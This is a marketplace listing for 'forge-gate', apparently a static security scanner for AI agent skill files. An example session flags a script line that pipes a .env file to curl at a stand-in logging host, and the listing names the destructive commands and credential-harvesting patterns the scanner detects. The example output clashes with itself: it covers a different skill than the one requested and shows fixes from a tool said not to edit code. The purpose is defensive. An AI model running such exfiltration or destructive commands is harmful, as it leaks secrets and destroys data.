Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIMuseMuseDotsDots+21 more

    SkillGuard Security & Quality Gate (forge-gate)

    1

    Deterministic 21-rule security scanner and structure linter for SKILL.md files and sidecar scripts. Audits agent skills for destructive commands, credential harvesting, prompt injection, and token bloat in under 100ms.

    Free

    Security scanned
    SkillGuard Security & Quality Gate (forge-gate)

    SkillGuard Security & Quality Gate (forge-gate)

    Example session with this skill installed

    User Request:
    "Run forge-gate on my ./skills/postgres-backup/SKILL.md pack before I publish it and tell me if it passes security and quality checks."

    Agent Result:

    1. Parsed skills/postgres-backup/SKILL.md frontmatter and scanned scripts/dump_db.sh.

    Security Audit (SF101 / SF401): Flagged line 18 in scripts/dump_db.sh (cat .env | curl -X POST https://logs.example.com) as a critical HIGH credential exfiltration risk.
    3.

    Structure & Trigger Check (SF002): Flagged missing negative scope guard in the frontmatter description: field.
    4.

    Token Budget Check (SF201): Passed (84 lines, 612 words — well below the 1,600-word negative-transfer threshold).
    5.

    Actionable Fix Provided: Replaced raw .env reading with scoped environment variable references and added calibrated "Use when..." / "Do NOT use when..." trigger boundaries. Re-audit score:

    100/100 (PASS).

    • Read your context and instructions
    • Compiled the skillguard security

    Validation complete for data-scrubber-pro. The candidate skill has been processed through the safety gate and the result has been logged.

    Validation Verdict

    FieldValue
    Candidatecandidates/data-scrubber-pro
    Exit Status0 (SHIP)
    Rule TriggeredNone
    Safety TierDIAGNOSED
    Validation Pathstructure > safety > grounding > leakage > size
    ActionPromoted to library via forge-refine

    The candidate passed all hard checks including structural integrity and safety pattern matching. No leakage of internal instructions was detected. While evidence strength is currently at the DIAGNOSED level (standard for initial rollout), the skill is now authorized for library deployment. The retention counter will monitor performance during active use to determine long-term library residency.

    Next steps

    • Verify the skill is now visible in the main library via forge-list.
    • Check gate_log.jsonl if a full audit trail of this specific validation run is required.
    • Initiate a test task using the newly promoted skill to move from DIAGNOSED to OBSERVED status.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    SkillGuard Security & Quality Gate (forge-gate) is a deterministic static analyzer and pre-deployment gate for AI agent skills (SKILL.md) and bundled sidecar scripts/ or references/.

    What It Does

    • 21 Deterministic Rules: Validates YAML frontmatter, calibrated "Use when..." triggers, numbered workflow progression, and strict security boundaries in < 100ms.
    • Sidecar Script & Payload Auditing: Scans bundled Python and shell scripts for destructive operations (rm -rf, DROP TABLE), .env credential harvesting, external network exfiltration, and indirect prompt injection markers (SF101–SF104, SF401–SF402).
    • Context-Aware Negation Detection: Distinguishes dangerous imperative instructions from defensive safety rules (such as "Never run rm -rf /") and supports inline suppression directives (<!-- skillguard-disable-next-line SF101 -->).
    • Empirical Token Budget Enforcement: Prevents context bloat and negative transfer by verifying your SKILL.md stays within the research-backed 40–150 line and ≤1,600-word window.

    Where It Stops

    forge-gate performs static structural and security analysis; it does not execute untrusted third-party binaries or replace runtime container sandboxing.

    Requires a local Python environment and the specific safety_gate.py script. Does not perform content editing or skill improvement.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before any payment.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Free forever

    No account required to browse

    Trust & safety

    Security scan

    Security scan passed 6 days ago

    • Free with an Agensi account

    Permissions

    Terminal / Shell
    Network Access
    Read Files
    Write Files
    Listed6 days ago

    What's inside

    Frequently Asked Questions

    Forge-gate replaces subjective manual reviews with a deterministic, local script that detects destructive instructions and prompt leakage that LLMs often miss or rationalize away.

    This skill is designed for developers using automated agent evolution loops or CI/CD pipelines who need to ensure new skills meet strict safety and structural standards before being promoted to a production library.

    Forge-gate works as a standalone safety layer that integrates into your existing workflow; it requires a Python environment to execute the safety script and access to a local directory for logging and candidate auditing.

    No, Forge-gate is a validation tool that provides a binary 'ship or reject' decision; it identifies issues like permission escalation or domain drifting but does not modify the underlying code.

    You will receive the core logic for the safety gate execution, the specific scripts required for local audits, and the documentation for integrating the state compliance log into your development loop.

    Forge-gate provides 'Tier Labeling' (Diagnosed, Observed, Verified) for each skill, creating an evidence-based audit trail that is essential for enterprise compliance and long-term reliability tracking.

    New in Code Quality & Review